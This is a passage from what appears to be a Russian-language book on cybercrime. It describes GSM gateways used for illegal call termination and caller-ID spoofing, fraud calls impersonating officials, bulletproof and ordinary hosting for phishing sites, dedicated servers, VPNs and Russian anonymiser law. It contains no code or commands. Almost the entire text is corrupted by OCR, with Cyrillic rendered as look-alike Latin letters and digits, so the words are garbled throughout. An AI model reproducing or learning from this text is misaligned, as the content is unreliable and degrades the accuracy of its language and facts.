K/II0YeHMe K HeCKOJIbKMM CeTSIM C pa3jMYHbIMM BUAAMU TEXHOJIOTUM
IOCTYIIa, C OOHO CTOPOHBI, TaKMX Kak [P-cetn (MuTepHer, IP ATC rnipen-
nipusitus, VolP-onepaTtop u Tak ganee), M K cetu paguonocryna (GSM/
CDMA/UMTS) omnepatopa CBsI31, C IPYTOil CTOPOHBI.

B 06mux yeprax mpuHUIUI paboThl GSM-I1IITI03a BBIIVISIAUT CAeOYI0-
M obpaszoM (CM. puc. 3.3).
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A —————————

Croco6 He3aKOHHOTO 3apaboTKa OpraHM3aTOpPaM JaHHOTO BU/IA IesI-
TeJbHOCTY C UCHonab30BaHMeM GSM-1II03a OCHOBAH Ha pa3HuUIE Ta-
pudoB, MpuMeHsIeMbIX B Poccum Oj1st oCcyIiecTBIeHUs] BbI3OBOB BHYTPHU
CeTu orepaTopa COTOBOJ CBSI3M U TapudOB IJ151 OCYLIeCTBIEHUS MeXce-
TEeBOTO, MEKIYTOPOJHOTO M1 MEeXIyHapoAHOro Tpaduka.

151 cxembl MOJIyYeHUs NOXOAA OT He3aKOHHOM CXeMbl TepMUHALIUU
(mpu3emienus) Tpaduka 37I0YMbIIIIEHHUKM UCIOb3YIOT, KaK IIPaBuUJIo,
JIbTOTHBIE TTAKeThI YCIIYT MM 6e3MMUTHBbIE TapudHbIe IUIaHbI, a TakK-
ke Tepefavy rojsiocoBoro Tpaduka yepe3 VIHTepHeET MeXIy ropogaMu
U CTpaHaMu ¢ mpuMmeHeHneM VoIP-TexHomormii.

Iyist opraHu3aiuu IesiTeIbHOCTM 3JIOYMBIIIJIEHHUK TIpuoOpeTaeT
GSM/CDMA/UMTS-111103, ycTaHaB/IMBAaeT B HEro obesnmueHHbie SIM-
KapThbl OIIepaToOpPOB CBSI3U, HA CeTh KOTOPBIX IVIAHUPYETCS BBIMIOJHSITh
TepMMHALMIO Tpaduka.

C Ipyroit CTOPOHBI, 3JI0YMBIIIJIEHHUK TTOAK/IIOUAETCS] yepe3 00bIu-
HOT'0 IOMOBOT'O MHTEpPHET-TIIpoBaiiepa K 3apyoeskHbiM Oupskam VoIP-
TpaduKa, peann3ysl TaK Ha3bIBaeMblii CTBIK MeXAY MeXIyHapOIHbIMMU
U MEXIOYTOPOSHBIMU CETSIMU CBSI3M.

[anee 3/I0yMBIIIJIEHHUK PETrMCTPUPYeETCS Ha 6upske TpaduKa 1 00b-
SIBJISIET O TOTOBHOCTM TIpU3eMyieHus TpaduKa Ha CeTh OIIepaTOPOB CBSI3H,
SIM-KapTbl KOTOPOTO UCIIONb3YIOTCS B LIJIIO3E.

Ipyrue yuacTHuKY VOIP-6MpsKkbI TpaduKa MpofaoT 3asiBjeHHbIe 3J10-
YMBIIIEHHMKOM YCIYTU 110 TepMUHALIMM TpadMKa Ha PbIHKE «CEPOTO»
TpaduKa IPYrMM TaKMUM XKe 3JI0yMbIIIJIEHHMKAM WY KOHEYHBIM IOTpe-
ouTensiM (abOHEHTaM) YUTYT HE3aKOHHOV TepMUHALMY TpaduKa.

OpraHu3saliiys Takoit IesiTeIbHOCTY CO3/4aeT MpobieMbl Kak IS oIle-
paToOpOB CBSI3M, TaK U AJIs1 rocymapcTBa. ®MHAHCOBBIM Yilep6b0oM B BuUIe
HeJI0IIOTYYeHHOTO 10XO04a OIlepaTOpOB CBSI3M U HELOINOJYYEeHHOIO Ha-
JIoTa TOCyJapCTBOM C YIYIIEHHOW MPUOBLIM ONepaTopoOB CBSI3U OT Jie-
raJIbHOTO TpaH3MUTa TpadukKa Jeji0 He OTpaHNUMBAETCSI.

B pesynbTaTe meiicTBUS OOMBIIOr0 0O0beMa HelerajbHbIX IIII030B
MIPOMCXOINUT Meperpy3ka 6a30BbIX CTaHIINIA, TpeIHA3HAYEHHBIX JIJIS 00-
CITY>KMBaHMSI aOOHEHTOB 0O0beMamy Tpaduka, UTO MIPUBOINUT K yXy/IlIe-
HMIO [TapaMeTpPOB CeTU CBSI3U OIepaTopOB.

Ipyroe HaImpaBjieHMe HelpPaBOMEPHON cxeMbl 3KcIruryatauun GSM-
LUII030B 3aK/II0YaeTCsl B BO3MOXXHOCTU OCYLIECTBJIEHUS ITOJMeHbl HO-
Mepa 3BOHSIIEro abOHeHTa.
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ITomMeHa HOMEPOB 3BOHSIIMX a00HEeHTOB Ha GSM-ILTI03aX SIBJISIET-
Cs1 ClIeCTBMEM MPUMeHeHUsT HecepTUhUIIMPOBAHHOM CXeMbl ITPOITyCcKa
Tpadmka u3 cetu HTepHET B CETb MOABMKHON CBSI3N.

IlaHHast BO3MOXHOCTb aKTUMBHO MCIOIb3YeTCsI Pa3jIMYHOIO poAa Mo-
IeHHUKaMMU.

VMcnonb30BaHMe TEXHOJIOTUY TOJIMeHbI HOMepa 3BOHSIIIIero aboHeHTa
IIPUMEHSIETCSI M IJIS1 OKa3aHMs BO3AENCTBUS Ha PyKOBOOUTeNe u Co-
TPYAHUKOB PasjiIMuHOIO POAa, MPaBOOXPAaHUTE/IbHbBIX OPTaHOB, YMHOB-
HMKOB, [JI51 pa3pelieHnss U yTPSCKU BOIIPOCOB, JaKe IMIPUOCTAHOBJIEHUS
YTOJIOBHBIX [leJ1 WIM MPUHSTUS pellleHnii O Ha3HAaueHUM YTOOHbBIX WU
YBOJIbHEHMM HEYTOJHBIX COTPYAHMKOB Ha KIIOUEBBIX ITOCTaX.

[IpencraBbTe CUTYyaLMIO, YTO MPOKYPOPY KAKOTO-TO pernoHa IoCTy-
raeT 3BOHOK M3 IMPUEMHOI reHEepaJIbHOTO IMPOKYpOpa CTPaHbl, HOMeP
MIPUEMHOJ y MPOKYpOpa BHECEH B KOHTAKTbI, IO3TOMY OU€Hb JaKke pea-
JUCTUYHO OTOOpaskaeTcst. M mocTyraeT 3BOHOK PYKOBOAMTEITIO TOII-
JINBHO-3HEPTreTUYeCKOi rOCKOMIIaHMM U3 IPUEeMHOM 3aMMUHUCTPA...

Ciry4anuch 1 JOCTAaTOYHO IMHUYHbIE CTydyau, KOrJia 3JI0yMbIIIJIEHHU -
KV ITyTeM OCYIIeCTBI€HMSI 3BOHKOB PYKOBOAUTENSIM PETMOHA/IbHBIX IO -
pasfesieHui1, OT MMeHM 3aMeCTUTeJIelt UM PyKOBoaUTesei mpoduib-
HbIX B€OMCTB, IIPOCUJIM OKa3aTh MaTepUaJbHYIO IIOMOIIb Ha JieueHue
pe6eHka. Takue adpepbl TPOBOAMINCH B OTHOIIIEHUY PA3JIMUHBIX BBICOKO-
MOCTaBJIEHHBIX YMHOBHMKOB M COTPYIHMKOB KPYITHEMIINX KOMITAaHWUA.

Wcnonb3oBanue GSM-IIIIO30B TaKKe MPUMEHSIETCS U KaK yCIyra —
MeXaHM3M aHOHMMHOJ CBSI31, 00 3TOM ellle TTIOTOBOPMM B ITOCTETHEM
paszene KHUTY TIpU aHa/IM3e YepHOTO PhIHKA MHMOPMAILMOHHBIX YCIYT.

YTOo Xe KacaeTcsl MOCAeACTBUI IPUMeHEeHMs TaKUX CXeM 3JIOyMBbIIII-
JIeHHMKaMM, CHelUaau3UpyIomuMUCs Ha KMOepIIpecTyIUIeHUSIX, 3TO
OYEBUAHO OCJIOKHSIET pabOTy CIIeHIMaJIbHBIX CJIIYKO 110 BBISBJIEHUIO
Y PACKPBITUIO IPECTYIUIEHUIA.

OpHako cnenyeT 3aMeTUTh, UTO poBeneHHas 41-M otaoenom Yopasiie-
Hust «K» BCTM MBI, Poccun B okTsi6pe 2017 roga macirtabHast orepanys
M03BOJINJIA Ipecedb AesITeIbHOCTb TPYIIIIbI JIUII, OCYIeCTBIISIONINX SKC-
TUTyaTaluio OKoJo rsaTugecsstTv GSM-1uit030B Ha Tepputopumn Poccnn.

Heob6xogumo 0c0060 OTMETUTH, UTO OOJbIast paboTa M0 PacKpPbITUIO
U JOKYMEHTUPOBAHMIO HEIIPABOMEPHON AesITeJIbHOCTU C MCII0/Ib30-
BaHueM GSM-1uai030B ObLTa Mpomenana coTpyaHukamu [TAO «MTC».
W cBsI3aHO 3TO B MEPBYIO O4Yepenb C TeM, YTO Beaylye TeIeKOMMYHM-
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KallMOHHbIE KOMITAaHUM BKJIIOUMINCH B 60PBHOY C KbeprpecTyIIeHUsIMA
C 1LIeJIbI0 3alMUThI CBOMX (DMHAHCOB U peryTaiumu.

[TocTpoeHMe ceTeil CBSI3M TaKOBO, UTO €C/IM OIpeeieHHbIM 0Opa-
30M MCIIO/Ib30BaTh JAeTepMMHaIMI0 Tpaduka, TO Aaxe MPU MOTyIeHUN
neTanusaluy U MpoBepKe HeCKOMbKUX IIeNoUeK MPOXOKAeHMST 3BOHKA
MO/ Ie/IbHBIMT HOMep 3BOHSIIEro aboHeHTa OymeT GUTypMUpOBaTh Kak
«HacTosIMii». He #3BeCTHO TOUHO, CKOJIbKO B IIepBO€ BpeMs CUIOBbI-
MM CTPYKTYpamu ObLJIO OIIMOOYHO BBIOUTO JIBEpeit, TOKa He HACTULIO
OCO3HaHMe BO3MOXXHOCTY MPUMeHEeHMST TaKOW CXeMbl.

[TpocueT 1eMOYKM 3BOHSIIErO 3JI0yMbIIIIEHHMKA, 6€3yCIIOBHO, BO3-
MOsKeH TpU J0ObIX packiagax, ¥ B TOM 3aciayra COTpyaHMKOB MBI
1 ®CB Poccum, KaueCTBEHHO BBITOTHSIIONIMX CBOIO PaboTy.

MOXHO MPUBECTM HECKOJbKO HOPMATMBHBIX MPABOBBIX akKTOB P®,
KOTOpble HapylIawTCcs MPY MUCIOAb30BaHMM pPacCMaTPMUBAEMOI CXeMbl
MPOITyCKa TOJIOCOBOTO TpadKa 3/I0yMBIIIJIEHHMKAMY C UCTIOIb30BaHM-
eMm GSM-1unt030B 1 cetu UHTEpHeT:

O cr. 171 YK P® «He3akoHHOe MTpeanpyuHUMaTeIbCTBO» («OCyIecTB-
JIeHVe He3aKOHHOJ MpearpUHMMATENbCKON OesTeIbHOCTU KIIM-
eHTaMU — IPUINYECKUMU JULLaMU, TOAKIIOYEHHBIMU K YCIyram
CeTH CBSI3U, ITyTeM Ieperpoaaxky Tpadmka 1 oKa3aHus YOIYT CBSI3U
TPEeTbUM JIULIAM»);

O npuka3z MunukomMmcBs3u N2 6 ot 16.01.2008 «O6 yrBepskaeHun Tpe-
60BaHMII K CETSIM 2JIEKTPOCBSI3U [JIs1 TIPOBeJleHUsT ollepaTUBHO-
PO3BICKHBIX MEpPOMPUSITUI» B UaCTU COKPBITUS (MM Moauduka-
[IM1) HOMepa 3BOHSIIEro aboHeHTa MMpPU Iepefgaue ero Ha IyHKT
yIIpaBJIEHUS ;

O npuka3 Muakomcss3u PO ot 08.08.2005 N2 98 «O6 yTBepskIeHUM
TpeboBaHMit K MOPSAKY IMponycka Tpaduka B Tese@OHHON ceTu
CBSI3Y OOIIIEro MOTb30BaAHMSI»;

O mpuka3z MunkomMmcBs3u PO ot 28.03.2005 N2 61, KOTOpHIil pa3pe-
IaeT rnepeavy rolocoBoro Tpaduka U3 ceTu mepemadyy JaHHbBIX
KJIMeHTa B PUKCUPOBAHHYIO WM TOABUKHYIO CETh TOAbKO IIPU
BBITIOJIHEHUM TIPUCOENMHEHMS CeTei CBSI3U, KOTOPOe MOXET OCy-
LIEeCTBJSITHCS MPU HAJIUUUM COOTBETCTBYIOIIMX JULIEH3UI Ore-
paTtopa cBsizu PO.

HecmoTps Ha 3TO, JOCTYITHOCTD [1J151 MCII0JIb30BaHMS B CBOEI He3aKOH-
HOVi IesITeTbHOCTY TIpaKTUUYeCKy 6e3rpaHMUYHOTo KonuyectBa SIM-kapT
nM0060ro ornepatopa CBsi3u Ha Tepputopum Poccuu ¢ 60/bII0 0XOTOM
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MCITOTb3YeTCsl KMOepIpecTyTHUKaMM BCeX MacTeii, MPMeHSIIoInX He-
aBTOPU3MPOBAHHbIE CPEACTBA CBSI3U /IS OCYIIECTBIEHUS aHOHMMHOIA
CBSI3U U yIIPaBJIE€HUSI peCcypCcaMu.

3.3.2. BupmyanbHbliii XocmuHe, ebioesieHHbIl cepeep, VPN

JIto60e mocTmskeHre MH(MOPMAaIIMOHHBIX TEXHOIOTHI MOKHO MCITO/Ibh30-
BaTh KaK BO 6j1aro, Tak 1 BO Bpes. Takue TeXHOIOTMM, KaK BUPTYaTIbHbIA
XOCTUHT, Bble/ieHHbI cepBep U VPN, MCIONb3YIOTCS, TaK WIM UHAYE,
MPaKTUUeCKy KaxkIbIM IOJb30BaTeseM ceT. Mbl Bce C HUMU CTaJIKU-
BaeMcsl, Taxke He 3ameuasl 3TOTO.

HeCKOnbKO CJIOB O XOCTUHTE.

XOCTUMHIOM Ha3bIBAaeTCs YCIyra, IIpegocTaBiisieMasi TeJIeKOMMYHMKa-
IIMOHHOJ KOMIIAaHMEN 10 IIPeIoCTaBIeHNIO JTI0O00MY JKelaloIieMy TeX-
HMYECKOJ BO3MOXKHOCTH JIJISI pa3MellleHusl caiiTa, 1a ¥ BooOIe JIr000ii
uHpopMaLMK, Ha cepBepe KOMITaHUMA.

Taxoit cepBep MMeeT MOCTOSIHHOE IOAK/II0YeHre K ceTu VIHTepHeT,
Ha HeM YCTaHOBJIEHO ¥ HACTPOEHO CelyaJan3upoBaHHOe MPOrpaMMHOeE
obecrieueHne, obecrneuymBawInee AOCTYII K pa3MellleHHbIM Ha cepBepe
IaHHBIM ITOJIb30BaTeJIel CeTH.

Hunamuyeckuii DNS

CepsBep nj1g pasmeleHus pecypca (caiTa) MOXKXHO HAaCTPOUTh U Ha [0-
MallTHeM KOMITbIOTepe, 1 Jaske Ha HOyTOyKe, [OCjIe Yero KaTaThCsl C HUM
110 BCEMY MMUPY.

[Tomo6Hast BO3MOKHOCTb MOXKET OBbITh JTOCTYIHA Oyiarogapsi TaKUM
ceTeBbIM cepBucaM, Kak DynDNS, KOTOpbIit 1103BOJISIET MM0/Ib30BATEISIM
TTOJIYIUTDb CYOIOMEH, ITPUBSI3aHHBIN K IT0JIb30BaTEIbCKOMY KOMITHIOTEPY,
He uMemwueMy rnoctosHHoro IP-agpeca. Cepsuc DynDNS B cBoe Bpemst
npemocrasisia komrnanus Dyn (dyn.com), kotopast B 2016 romy 6sL1a
rorsomeHa komnauueit Oracle!.

ABTODY yaasoch MPOTECTUPOBATh 3TOT cepBucC eme Ao 2016 roga,
M HaAO CKa3aTb, YTO MCMOJb30BaHME TAKOV TEXHOJOTUM OTKPbIBAET
60JbIIMe BO3MOKHOCTH. B HacTosIiee BpeMsl MMeeTCsT HeCKOJIbKO ITpo-
BalimepoB nuHaMuuyeckoro DNS, KoTopble MOXKXHO 6e3 TpyZa OThICKATh
B CeTn.

1 «Oracle to Buy Web Service Provider Dyn». URL: https://www.wsj.com/articles/oracle-
to-buy-web-service-provider-dyn-1479736667.


https://www.wsj.com/articles/oracle-to-buy-web-service-provider-dyn-1479736667
https://www.wsj.com/articles/oracle-to-buy-web-service-provider-dyn-1479736667
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OT/IM4aroT XOCTUHT, OpTaHM30BaHHbI ITOIb30BaTe/IeM CaMOCTOSITeNb-
HO, OT IIPeIOCTaB/SIeMOro CIIeMaIM3MPOBAHHOV KOMITaHMeNi-IIPpOBai-
IepOM TOJIbKO OTPaHMYE€HHAas BbIUYMCIUTENbHAs MOUIHOCTb, CKOPOCTh
IOCTYyTIa TTOJIb30BaTesel CeTu K pecypcaM M HaBepHsiKa HepeaKue Mmpoo-
JieMbl C IOCTYITHOCTBIO CaMOI'0 pecypca, CBsSI3aHHbIE C MCIIOIb3yeMbIM
rnogkaoueHneM K cetu IHTepHeT. OgHAKO I HEKOTOPBIX 11eJieil 3TOro
MOXXET OKa3aTbhCs BIIOJIHE AOCTAaTOYHO.

Kak yke yKasbIBaJIOCh B Hauajie KHUTHU, [IJIs OpraHu3anuym QUIIMHT-
aTaky HeoOXOauM cepBep, OJ1s1 pasMenieHnst ¢havika (pUILIMHT-IBMKKA).
JJist 3TUX 1iesieit 0OBIYHO MCITOb3YeTCsI BUPTYaIbHbIN XOCTMHT.

[Tpy BUPTyasIbHOM XOCTUHTE Yallle BCero HeCKOJAbKO CaliTOB, MPUHA/ -
JIeXXal[X pasjiMnyHbIM JIUIaM WIM OpraHM3alysIM, MOTYT HaXOAUThCS Ha
omHOM o61miem IP-ampece.

M3HavaIbHO, KaK y>Ke YKa3bIBaja0Ch B IMPEAbIAYIINX YACTSIX, PETYJISITOD
MIBITAJICSI 6JIOKMPOBATh CAMThI, colepKallie He3aKOHHbI/ KOHTEHT, I10
IP-azpecy, uTo 6bLIO, 6€3YCJIOBHO, HE CaMOJVi pa3yMHOJ Meeii.

BupmyanoeHbiii xocmuHe

[Ipu MOKyTIKe YCIYTU «BUPTYaTbHbIN XOCTUHT» TT0b30BaTEI0 BbIAES-
IOTCSI YaCTh IMCKOBOTO MPOCTPAHCTBA, NOCTYI K HEKOTOPBIM HAaCTPOIi-
KaM ¥ 6a3ze JaHHbIX. DTOTO AOCTATOYHO JJIsl pa3MeleHNsI Ha XOCTUHTe
JI060T0 pecypca U CO3JaHMsT JIEKTPOHHO MOYTHI.

[Ipu BbIOOpE XOCTMHTA 3JIOYMBIIIEHHUKY B 3aBUCUMMOCTY OT TIpe-
c/leflyeMbIX 1iejieii MOTYT OTHaBaTh MpefIouyTeHre 3apyoeskHoMy 1 aby-
30yCTOYMBOMY XOCTUHTY.

Aby3oycmoliyuebiii XxocmuH2

JIuiia u opraHm3aiuy, MpegoCcTaB/sIolMe TaK Ha3blBaeMblii aby30-
YCTOVYMBBIN XOCTUHT, HE pearupyroT Ha 3aIIPOChI [TPAaBOOXPAHUTE/IbHBIX
CJIy>K0, HaTlpaB/sieMble C 11eJIbI0 IMOyUYeHNsT JaHHBIX O KJIMEeHTaX, Kak
M Ha TpebOoBaHMSI KOHTPOJMUPYIOIIMX OPTaHOB O IMpeceueHn He3aKOH-
HOJ IeaTeJIbHOCTY 110 6JI0KMPOBKEe MHMOPMAIIMOHHBIX PECYPCOB.

Kak mpaBuio, aby30yCTONUMBBI/ XOCTUHT TIPeIOCTaBIsIeTCsI Ha cep-
Bepax, pM3nIecKy pacroaoKeHHbIX 3a MpeaeaaMiu PUCAUKINM KOHT-
PONUPYIOIIMX OPTaHOB, M aAMUHUCTPALIMS TAKUX KOMITIAaHMIT He BbIaeT
mHbopmaluio, Takylo Kak IP-ampeca aBTopu3aiym, KOHTakKTHbIE U Tij1a-
TeKHbIe PeKBMU3UThI KIMEHTOB, KOMY ObI TO H OBILJIO.
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C 1IeJIbI0 JOJITOCPOYHOI pabOThl MOIIEHHMYECKOT'O Pecypca o, LieJIn
bummHra BpIOMPAOT aby30yCTONUYMBBIN XOCTUHT, lleHa KOTOPOro, Ha-
npumep, nmpu Kkouburypamumu Apache 2.3 / PHP 5.3 / MySQL 5.5 / FTP /
DNS / Email / Cron / Perl / Python / SSL cocrasnsier ot 100$ mo 800%
B Mecs1] B 3aBMCUMOCTY OT CTPaHbI (PM31UECKOro pacIioiokKeHMsI.

[y coBepiiieHMsT KMbepIpecTyIieHnii 3/I0yMbIIIJIEHHUKY He BCeraa
BBIOMPAIOT a0Y30YCTONUMBBIN XOCTUHT. B CTyuasix, eCiyv mpearonaraeTcs
KpPaTKOBPEMEHHOE MCII0b30BaHMe XOCTUHTA (TIpoBeJeHNe eqUHUIHON
«IIePCOHAIM3UPOBAHHO» WJIM «TOUEUHO» PUIITMHT-AaTaKM), MOXKHO BOC-
T0Ib30BAThCS BIIOJIHE AOCTYITHBIM U JIETJIbHBIM XOCTUHT-IIPOBAiIePOM.

He Tak CJI0KHO KYMUTb XOCTUHT pybJieii 3a IBECTU-TPUCTA B MeCSII,
pasMecTUTb Ha HeM JJ1s1 OTBOjia I71a3 OeCIiaTHbIN ABUXKOK caiiTa, K mpu-
Mepy Ha WordPress, a B ofHy 13 AMPEKTOPMUit 3anpsaTaTb CKPUIIT pac-
ChUIKYM (PUIIMHIOBBIX COOOIIEeHMI (send-MeHemskep) vy Paiik (hUIIMHT-
IBVIKOK).

[IpuBeneHHbIE paHee B YacTu «DUIIMHT U3HYTPU» TOMEHHbBIE MMeHa
MCIOJIb30BaIMCh HAa CepBepax OJHOTO U3 CaMbIX M3BECTHBIX MpOBarige-
POB, pacIoIokeHHOTro B MOCKBe, a OTHIOZIb HE Ha cepBepax 3apybeskHOTO
aby30yCTOMUYMBOTO, a CIeIOBATEIBHO, TOPOTOT0 XOCTUHTA.

BoideneHHblii cepsep

IIpyroii BapuaHT XOCTMUHTIA — 3TO BblJI€JIEHHbIN CepBep MM BUPTYaTbHbIN
BbIIeneHHbIN cepBep (VDS, VPS!), nmpegycmaTpuBalomnii MOIHbBIN O0-
CTYM K YIIPaBJIEHUIO OINEePALMOHHON CUCTEMOI cepBepa. JTO BBILJISIANUT
TaK, UYTO Ha TEPPUTOPUM KOMITAaHUM-TIPOBANiepa B gaTa-LeHTpe CTOUT
OTIebHBIV CepBep, U MOJIb30BaTeNb JIeJlaeT C HUM BCe, YTO eMy 3abJia-
ropacCyguTCs.

Ha cBoeM BUPTYaJIbHOM CepBepe KIMEHT I0yJYaeT IpaBa agMUHUCT-
paTopa M BOJIEH HaCTpauBaTh CUCTEMY IIOA, CBOU HYXX/bI, CO3aBaTh J0-
TIOJTHUTEJIbHBIX [10JIb30BaTeseil BHYTPU CUCTEMBI, YCTAHABAMBATD U ya-
JISITh JII000e HeobxoaMmMoe ITporpaMMHoOe obecIieueHme.

BupTyanbHbIi cepBep UCIONb3YeTCs IJIsI pa3MelleHus] CaiiToB, 6a3
manubix, DNS; FTP. ITocpencrBoMm, Hanipumep, RDP-goctymna BupTyanb-

L' VPS (anrn. Virtual Private Server) unu VDS (anrn. Virtual Dedicated Server) — ycnyra,
B paMKaX KOTOPOJi MOb30BaTENI0 IIPEIOCTAB/SIETCS TaK Ha3bIBA€MbIii BUPTYailb-
HbII1 BbIIEJIEHHbIN cepBep, MPAaKTUIECKM COOTBETCTBYET (GU3UUEeCKOMY BbIIeIeHHO-

My cepBepy.
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HbIi cepBep MpeBpallaeTcsl B yaajeHHOe paboyee MeCTO, TOCTYITHOe
C JII060TO TTOIK/TIOUEHHOT0 K IHTEepHEeTY YCTpOiiCcTBa.

Takue «paboure mecTa» HepeaKO MCIIOIb3YIOTCS KMOepIPeCcTyITHM-
KaMM JJIsl peain3aliMy aTak, CBSI3aHHBIX C HEITPaBOMEPHBIM TOCTYIIOM
M XUIIEeHEeM JeHEKHbBIX CPeICTB.

Korga ke meo JOXOOMUT 0 3alpOCOB OT ITPABOOXPaHUTENbHBIX Op-
raHOB, TEeJIEKOMITAaHMM eNAl0T BUJ, YTO YC/IyTra BbIJE/IeHHbI cepBep
MIPeOCTaBISIETCS TI0 PEKMMY «MOSI XaTa C Kpalo, HUUero He 3Haw», op-
raHM3anys CIaeT «MOIIHOCTM» B apeHTy M He OCYILeCTBIISIeT (GUKCAI[AIO
TOTO, UTO TaM ITPOVICXOIAT.

[TyTem auasiora MpaBOOXPAaHUTENISIM yAaeTCs MOJIy4aTh HEOOXOmM -
Mble IJIs1 pacciaenoBaHust JaHHble. OMHAKO eCTh KOMITAaHMM, KOTOPbIE He
MPeOCTaB/ISIIOT HUKAKMX JaHHBIX O CBOMX K/IMEHTaX U IMPSMO, B Kaue-
CTBe peKJIaMbl, COOOIIAIOT O TOM, UYTO HE COXPAHSIIOT U He IMPeIOCTaBISIIOT
MHGOPMALINIO O KIMEeHTaX. OTU KOMIITAHUY, eCJIM UX TaK MOXKHO Ha3BaTh,
U IIPEAOCTaBJISIOT a0y30yCTOMUMBBIN XOCTYHT.

Ha mMomHoCTsIX aby30yCTOMYMBOTO XOCTUHTA ¥ OCYILECTBJISIETCST pas-
MelleHMe pas3JIMYHOTO poja 3allpellleHHbIX MaTepuasoB, TAKUX Kak
MaTepuasbl MOpPHOrpadmMueckKoro comepskaHusi ¢ M3006paskeHuemM He-
COBEPIIEHHOJIETHUX, PA3JIMYHOIO POAa SKCTPEMUCTCKUE MaTepualbl,
BpPEOHOCHBIE TTPOTrPaMMbI 1 (PUIIMHTOBBIE CTpAaHUIIbI. TaKkye cepBepsI
MICITOJIB3YIOTCSI JIJISI OCYIIeCTBIJIEHMS CITaM-PAaCChUIOK M TaKKe pa3melnie-
HMUST YIIPAB/ISIIOIIMX KOHCOJIei 60THeTa MUy 69KI0POB.

VPN

Ha n1060M BbIJIeJIEHHOM CepBepe KIMEHT MOXKeT pa3MeCcTUThb BCe, UTO
yrogHo, B ToM unciie u VPN, u proxy-cepsep, Iocjie 4ero ucrojab30BaTh
MX CAaMOCTOSITEJIbHO MU TIPEAOCTABIISITh UX IJIS1 UCTIOIb30BAHUS IPYTUM
3a onpeneeHHYIO IIIaTy.

Texnomorus VPN! 3amuimiaer Tpaduk 3a cueT mmdpoBaHus comep-
SKMMOTO C 11eJIbI0 ob6ecrieueHust 6€30MacHOCTY M KOHOUAEHIIVMATbHOCTU
Mpu o6paleHn K pecypcam 1 obmeHe nHdopmaiiueit. [Ipeo6pasoBaHme
MMEeHM pecypca B COOTBETCTBYIOIIMIA aipec MPOUCXOAUT Ha YOAJIEHHOM
cepBepe, a 3HAUUT, yCTAaHOBUTD, K KAKMM pecypcaM obpamiajcsi abOHEeHT,
ucnonb3ywimit VPN-pecypc, mocpeacTBoM rnepexpaTta Tpaduka HeBO3-
MO>KHO.

U Virtual Private Network — BUpTyaJIbHasl YaCTHAsI CETb.
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B oTinume OT 3aKOHOTIPOEKTOB, PETYIMPYIONIMX MOAK/II0UeHe abo-
HEHTOB K OrlepaTopam CBSI3M U GJIOKMPOBKE 3aIpeleHHbIX PecypCos,
06wIMe Ka3ycoB BBEAEHHON MHUIIMATUBBI 10 OTPAHMYEHNIO TOCTYIIA
K aHoHMMaji3epam 1 VPN 3aMeTusio ropasgo O0JIbIIle JTI0Ieii.

Nmeetcst B Buny @enepanbHbiii 3aKOH OT 29.07.2017 N2 276-03
«O BHeceHUM MsMeHeHUM B @emepasnbHblii 3aK0H “O0 MHOpMaInu,
MH(GOPMAaILIMOHHBIX TEXHOJIOTUSX 1 O 3aluTe MHGOpMaLynu”», KOTOPbIA,
10 OOIIENPMHSITOMY MHEHMIO, IIPM3BaH OrpaHMUMBATh PabOTy aHOHU-
Mali3epoB Ha TeppuTopun Poccun.

Eciu KOpOTKO, TO JaHHbBIM 3aKOH YCTaHABIMBAET 3aIlpeT Ha UCIIOJb-
30BaHMe B P® mHbOpMaIMOHHO-TeIeKOMMYHUKAILIMOHHbBIX CeTeii, MH-
(dbopmalMOHHBIX CUCTEM ¥ KOMITbIOTEPHBIX MTPOTPaMM /ISl TTOTyYeHUs
IOCTyIa K 3ampellleHHbIM MHQOPMAaILMOHHBIM pecypcaM, a C 1Lieblo
MCIIOJTHEHMSI YKa3aHHOIO 3allpeTa BiajenbllaM TaKuX ceTeil (CucTtem
M TIporpaMm) 6yzaeT MpeAoCTaBIsSIThCS AOCTYII K MHGDOPMaLMIOHHOMY pe-
cypcy PockoMmHazg3opa, cogepxkalieMy CBefeHMsI O 3alpelleHHbIX MH-
(opMalLMOHHBIX pecypcax.

Taxke ykasaHHbIMM ITOMpPaBKamu! orepaTopam MOMCKOBBIX CUCTEM
MpeanucaHo NMPeKpPaTUTh BbIAAUy OllepaTopaMiu IMOUCKOBBIX CUCTEM,
pacnpocTpaHsSIMU B ceTu «/IHTepHeT» pekiamy, KOTopasi Halpas-
JleHa Ha TpUBJIeUeHMe BHMMAHMS MOTpebuTesneil, HaXomsuuxcs Ha
tepputopuu Poccuiickoii ®enepanyn, cBegeHnii 06 MHPOPMAaIMOHHbBIX
pecypcax, MHGOPMAalMOHHO-TeTIeKOMMYHUKAI[MOHHBIX CETSX, JOCTYI
K KOTOPBIM OrpaHuueH Ha Tepputopumn Poccuiickoi @enepannu. He co-
BCEM IOHSITHA, IIPaB/a, 1ieJib OTOBOPKM: «PAaCIPOCTPAHSIOIMMU B CETU
“UHTepHeT” peKkaamy».

[IpekpaliieHne BbigauM MOMCKOBBIMM CUCTEMaMU 3alpelleHHbIX pe-
CypcoB — 6e3ycIoBHO, Xopoiias uaesi. Ho KakoBo OyzeT MpakTuYeckoe
NpyMeHeHMe 3ampeTa Ha UCI0/b30BaHMe MHMOPMAaIMIOHHO-TeIeKOM-
MYHMKAILMOHHBIX ceTeli, MHPOPMALMOHHBIX CUCTEM U KOMITbIOTE€PHbBIX
MIPOrpamMm [Jisl TOJIyYeHMUsI JOCTyIIa K 3allpeljeHHbIM pecypcam, He CO-
BCEM IMOHSITHO. Ec/iu 3TO U 6ymeT OCyIIeCTBISIThCSI, TO B OTHOLIEHUMU
obuiMaabHbIX ¥ KPYITHBIX UTPOKOB TeIeKOMMYHMKALIMOHHOTO PbIHKA,
KOTOpbIe ¥ TaK Ha CeTOAHSIIHMIA AeHb CJIefyI0T OyKBe 3aKOHa.

! Cratbps 1 ®epepanbpHoro 3akoHa ot 29.07.2017 N2 276-®3 «O BHeceHUM M3MEeHEeHMUI1
B ®enmepanbHblii 3aK0H “006 MHpopManyu, MHGOPMAIMOHHBIX TEXHOJOTUSIX U O 3a-
mute nHGopmauyu”». URL: http://www.consultant.ru/document/cons_doc LAW 2212
30/3d0cac60971a511280cbba229d9b6329c07731f7/.


http://www.consultant.ru/document/cons_doc_LAW_221230/3d0cac60971a511280cbba229d9b6329c07731f7/
http://www.consultant.ru/document/cons_doc_LAW_221230/3d0cac60971a511280cbba229d9b6329c07731f7/
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Kak 210 orpasurcsg Ha kubeprpectynHocTu? Hukak. CoBepIieHHO
OUEeBUIHOJ BellIblo SIBJIsIeTCs GaKT TOro, 4YTo Ha Jobom IP-ampece m060-
ro IpoBaigepa Kak Ha TEppUTOPUN, TaK U 3a penenamu Poccun MOKHO
